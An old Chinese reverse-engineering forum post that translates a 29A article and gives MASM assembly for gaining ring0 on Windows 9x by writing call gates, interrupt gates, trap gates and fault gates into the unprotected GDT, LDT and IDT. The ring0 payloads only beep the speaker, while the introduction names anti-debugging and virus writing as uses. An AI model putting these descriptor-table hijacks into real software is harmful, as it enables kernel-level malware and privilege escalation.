• 标 题:闲来翻译改写灌水:Ring0权限的取得(part1:9X)
  • 作 者:hume
  • 时 间:2001
  • 链 接:http://bbs.pediy.com

comment  $/*
                Ring0权限的取得(part1:9X)
                               
                                翻译改写: Hume/冷雨飘心
                                原文作者: Super/29A

windows运行在保护模式,保护模式将指令执行分为3个特权级,即众所周知的ring0
~ring3,ring0意味着更多的权利,可以直接执行诸如访问端口等操作,通常一般应用
程序运行于ring3,这没有什么不好,很好的限制了那些刚弄懂Turbo C的小孩搞破坏,
然而当我们需要ring0的时候,比如跟踪,反跟踪,写病毒?麻烦就来了.进入ring0一般
要写VxD或WDM驱动,然而,这对一般人来说并不那么简单,其实由于9X未对IDT,GDT,
LDT加以保护,可以利用这一点漏洞来进入ring0,这是一点入门介绍,其实,ring0也并
不难,下面就是根据Super/29A的文章用Masm改写的例子,改进了一点并加了点注释,
希望对你能有所启发.

以前曾写过用SEH进入ring0的例子.利用seh进入ring0是比较简单的.下面假设你对
保护模式有所了解,如果遇到不懂的地方,赶紧翻翻保护模式教程.

NT/2K/Xp下ring0的取得是一个较困难的课题.关于2k下,webcrazy写了一篇C教程,有
时间用ASM改写一下.

虽然9X肯定会被淘汰,但对ring0的不懈追求将是一个永恒的主题.
*/$
.586p
.model flat, stdcall
option casemap :none  ; case sensitive
include hd.h
include mac.h

;;--------------
    .DATA
sztit  db "By Hume,2002",0

Freq  db 08h      ;发声频率
gdtR  df 0
idtR  df 0
ldtR  dw 0        ;the contents of GDTR,IDTR,LDTR

ldtDes dw 0       
      dw 0        ;LDT Limit   
      dd 0        ;LDT Base
Callgt dq 0        ;call gate's sel:off
;;-----------------------------------------
    .CODE
__Start:
    sgdt    fword ptr gdtR
        sidt    fword ptr idtR
        sldt    word ptr  ldtR      ;save them for later use

        ;-----------------------
        ; get the ldt mes
        ;-----------------------
        movzx  esi,ldtR
        add    esi,dword ptr [gdtR+2]

        mov    ax,word  ptr [esi]
        mov    word  ptr [ldtDes],ax
        mov    ax,word  ptr [esi+6]
        and    ax,0fh
        mov    word  ptr [ldtDes+2],ax        ;get ldt Limit
       
        mov    eax,[esi+2]
        and    eax,0ffffffh
        mov    ebx,[esi+4]
        and    ebx,0ff000000h
        add    eax,ebx
        mov    dword ptr [ldtDes+4],eax        ;get ldt Base
        ;-------------------------------------
        ; 这里演示在GDT中寻找空白表项来制造调用门
        ;-------------------------------------
        mov    esi,dword ptr [gdtR+2]
        movzx  eax,word  ptr [gdtR]
        call    Search_XDT
                                                ;esi==gdt Base
        mov    esi,dword ptr [gdtR+2]
        push    offset myring0_prc_callgt
        pop    word  ptr [esi+eax+0]       
        pop    word  ptr [esi+eax+6]        ;Offset

        mov    word  ptr [esi+eax+2],28h
        mov    word  ptr [esi+eax+4],0EC00h  ;sel=28h and attribute ->386 call gate!

        and    dword ptr Callgt,0
       
        mov    word  ptr [Callgt+4],ax
        call    fword ptr [Callgt]            ;Ring0!

        ;--------------------------------------------
        ; 这里演示在Ldt中制造调用门
        ;--------------------------------------------
        invoke    MessageBox,0,CTEXT("Call gate to Ring0!继续?"),addr sztit,MB_YESNO
        cmp    eax,IDNO
        jz      @xit000                      ;继续演示?

        mov    esi,dword ptr [ldtDes+4]
        mov    eax,dword ptr [ldtDes]

        call    Search_XDT                    ;eax返回找到的空白选择子
        mov    esi,dword ptr [ldtDes+4]

        push    offset myring0_prc_callgt
        pop    word  ptr [esi+eax+0]       
        pop    word  ptr [esi+eax+6]        ;Offset

        mov    word  ptr [esi+eax+2],28h
        mov    word  ptr [esi+eax+4],0EC00h  ;sel=28h and attribute ->386 call gate!

        and    dword ptr Callgt,0
        or      al,7h                        ;所以选择子一定要指向LDT
        mov    word  ptr [Callgt+4],ax
        call    fword ptr [Callgt]            ;Ring0!

; *通过中断门进入ring0,像在Dos下一样,我们只要替换中断向量表的地址以指向我们
; *自己的程序就可以了,不过在win下中断向量表变为IDT(中断描述符表),其第0~1保存
; *中断处理程序偏移的低16位,6~7字节保存偏移的高16位,我们必须使描述符具有DPL=3
; *以便在ring3下转入中断程序,而int 01h,03h,04h,05h,30h本来就是DPL=3,我们可
; *以方便地利用之,注意中断处理程序返回用iret
        ;---------------------------
        ; 下面利用int 5进入ring0
        ;---------------------------
        invoke    MessageBox,0,CTEXT("Int gate to Ring0 By Int 5 !继续?"),addr sztit,MB_YESNO
        cmp    eax,IDNO
        jz      @xit000                      ;继续演示?

        mov    esi,dword ptr [idtR+2]
        push    dword ptr [esi+8*5]
        push    dword ptr [esi+8*5+4]        ;保存中断描述符

        push    offset myring0_prc_Intgt
        pop    word  ptr [esi+8*5]
        pop    word  ptr [esi+8*5+6]
        int    5                            ;进入ring0!
        ;int    3                            ;//可选择利用int 3
        ;db    0CCh                        ;//则保存和恢复就改为8*3
        ;为了增强反跟踪效果
        ;当然也可以利用int 1,方法一致不过可能在某些处理器上冲突                                       
        pop    dword ptr [esi+8*5+4]        ;恢复
        pop    dword ptr [esi+8*5+0]

; *当然,上面使用的全部是DPL=3的int如1,3,5等,如果我们准备使用任意int 来达到
; *目的该怎么办?这就需要自己改int descriptor 的属性值,使DPL=3,sel=28h
; *如下面使用int 255
; *__________________________________________
        invoke    MessageBox,0,CTEXT("Int gate to Ring0 By Int X !继续?"),addr sztit,MB_YESNO
        cmp    eax,IDNO
        jz      @xit000                      ;继续演示?

        movzx ebx,word ptr [idtR]  ;会是什么?没有关系
        sub ebx,7

        push dword ptr [esi+ebx+0] ; save IDT entry
        push dword ptr [esi+ebx+4]

        push offset myring0_prc_Intgt
        pop word ptr [esi+ebx+0]
        mov word ptr [esi+ebx+2],28h      ;ring0 Sel
        mov word ptr [esi+ebx+4],0EE00h  ;386中断门,DPL=3
        pop word ptr [esi+ebx+6]

        mov eax,ebx
        shl eax,5
        add eax,90C300CDh

        push eax
        call esp                ; 在堆栈中形成指令 int 5Fh ret直接转入执行!
        pop eax                  ; int调用,酷吧!

        pop dword ptr [esi+ebx+4]; 恢复
        pop dword ptr [esi+ebx+0]
; *
; *还有其他的方法进入ring0,如陷阱门,与中断门基本一致,只不过是让硬件自己产生中断
; *我们则自己置TF=1引发之,注意在中断处理中关闭TF,否则会造成死不断单步,还有故障门,
; *产生故障之后注意cs:eip已经压入堆栈,如果不改指令的话,就得自己修改eip指向安全地址
; *故障门的好处在于不必自己置sel为28h,也不必担心DPL=0,操作系统为我们准备好了一切
; *我们只要替换int处理地址就行了,以下是简单例子
; *__________________________________________
        invoke    MessageBox,0,CTEXT("Trap gate to Ring0 By Int 1!继续?"),addr sztit,MB_YESNO
        cmp    eax,IDNO
        jz      @xit000                      ;继续演示?
        ;---------------------------------
        ; int1 单步陷阱或者int4 除法溢出陷阱
        ; 这里演示int 1,int 4类似
        ; 这个和上面的有不同吗,有!就是int 1
        ; 是由CPU而不是我们显式用int 1指令引发
        ;---------------------------------
        push dword ptr [esi+(8*1)+0]      ; 保存原int 1
        push dword ptr [esi+(8*1)+4] 

        push offset myring0_prc_Trapgt
        pop word ptr [esi+(8*1)+0]
        pop word ptr [esi+(8*1)+6]

        pushfd
        pop eax 
        or ah,1 
        push eax
        popfd          ; TF=1

        nop            ; ring0!

        pop dword ptr [esi+(8*1)+4]; restore IDT entry 
        pop dword ptr [esi+(8*1)+0]
        ;--------------------------------------------
        ; 这里演示故障门,除法错误
        ;--------------------------------------------
        invoke    MessageBox,0,CTEXT("Fault gate to Ring0!继续?"),addr sztit,MB_YESNO
        cmp    eax,IDNO
        jz      @xit000                      ;继续演示?

        push dword ptr [esi+(8*0)+0]  ;                           
        push dword ptr [esi+(8*0)+4]                                             
                                                                                     
        push offset Ring0Code_div                                                 
        pop word ptr [esi+(8*0)+0]                                               
        pop word ptr [esi+(8*0)+6]             
                                                                                     
        xor eax,eax                                                               
        div eax                        ; 除法错误,进入故障门ring0!
;-----------------------------------------

@xit000:
        invoke    ExitProcess,0
;-----------------------------------------
Ring0Code_div proc far                                                       
                                                                             
        pushad                                                                   
        call Beeps                                                                 
        popad                                                                     
                                                                             
        add dword ptr [esp],2        ; 修改Eip,略过除错指令继续执行                         
                                                                             
        iretd                                                                     
                                                                             
Ring0Code_div endp                                                           

myring0_prc_Trapgt    proc    far
        pushad                  ;注意压栈结构为
        mov    ecx,10          ;EIP
ambalance002:                  ;cs
        push    ecx            ;EFLAGS
        call    Beeps
        pop    ecx
        loop    ambalance002
        popad
        and    byte ptr [esp+9],0FEh ;一定要置TF=0,终止
        iretd                  ;注意iretd,不是iret(w)
myring0_prc_Trapgt    endp

myring0_prc_Intgt    proc      far
        pushad
        mov    ecx,10
ambalance001:
        push    ecx
        call    Beeps
        pop    ecx
        loop    ambalance001
        popad
        iretd               
myring0_prc_Intgt    endp

myring0_prc_callgt    proc  far
        pushad
        mov    ecx,10
ambalance:
        push    ecx
        call    Beeps
        pop    ecx
        loop    ambalance
        popad
        retf
myring0_prc_callgt    endp
;-----------------------------------------
Search_XDT proc near      ;entry esi==Base  of Ldt  or GDT
              ;Eax==Limit
    pushad     
    mov ebx,eax   
    mov eax,8        ; skipping null selector
@@1:       
    cmp dword ptr [esi+eax+0],0   
    jnz @@2 
    cmp dword ptr [esi+eax+4],0   
    jz @@3 
@@2:       
    add eax,8       
    cmp eax,ebx       
    jb @@1      ;if we haven't found any free GDT entry,
            ;lets use the last two entries       
    mov  eax,ebx     
    sub  eax,7         
@@3:     
    mov [esp+4*7],eax      ; return off in eax
    popad   
    ret       
Search_XDT endp
;-----------------------------------------
Beeps proc near                ;经典的发声子程序,学dos的时候应该
    pushad                  ;没少用吧...
    mov al,0B6h           
    out 43h,al 
    mov al,[Freq]          ;接口要求,不要多问

    out 42h,al 
    out 42h,al 

    xor byte ptr [Freq],0Ch     ; 换频率
                 ; 以便下次发出不同的音高
    in al,61h
    or al,3 
    out 61h,al 
    mov ecx,1000000h        ;延时
    loop $

    and al,0FCh              ;关声音
    out 61h,al 
    popad
    ret
Beeps endp 
END    __Start
___________________________________________________Over...___________

  • 标 题:这段代码主程序部分够简练吧,还可以优化? (1千字)
  • 作 者:hume
  • 时 间:2002-2-24 13:07:58

;发声部分不在优化之列

.586
.model flat, stdcall
option casemap :none  ; case sensitive
include c:\hd\hd.h
include c:\hd\mac.h

int_num  equ    5
;;--------------
    .DATA
sztit  db "By hume,2002",0
errmsg  db "Error Ocurred!",0
msg    db "Ring0 Succ!",0

;;-----------------------------------------
    .CODE
__Start:
  assume fs:nothing
        call    set_seh
        lea    eax,errmsg
        jmp    ExitP
set_seh:
        push    dword ptr fs:[0]
        mov    fs:[0],esp
       
        push    0
        sidt    [esp-2]
        pop    ebx
        add    ebx,int_num*8+4
        mov    ecx,[ebx]
        mov    cx,[ebx-4]        ;ecx=int Des offset
        lea    esi,my_int
        mov    [ebx-4],si
        shr    esi,16
        mov    [ebx+2],si
        int    int_num
        mov    [ebx-4],cx
        shr    ecx,16
        mov    [ebx+2],cx
        pop    dword ptr fs:[0]
        mov    dword ptr [esp],offset  msg
        pop    eax

ExitP:
        invoke    MessageBox,0,eax,addr sztit,40h+MB_SYSTEMMODAL
        invoke    ExitProcess,0

my_int:  ; now in Ring-0 
  mov  ecx,50
@lop1:
  push  ecx
  call  beeps
  pop  ecx
  loop  @lop1

  iretd    ; return to caller       
beeps:     
pushad
        mov ax, 1000
        mov bx, 800
        mov cx, ax
        mov al, 0b6h
        out 43h, al
        mov dx, 0012h
        mov ax, 34dch
        div cx
        out 42h, al
        mov al, ah
        out 42h, al
        in al, 61h
        mov ah, al
        or al, 03h
        out 61h, al
        l1:
                mov ecx, 4680
        l2:
                loop l2
                dec bx
                jnz l1
        mov al, ah
        out 61h, al
       
popad
ret
END    __Start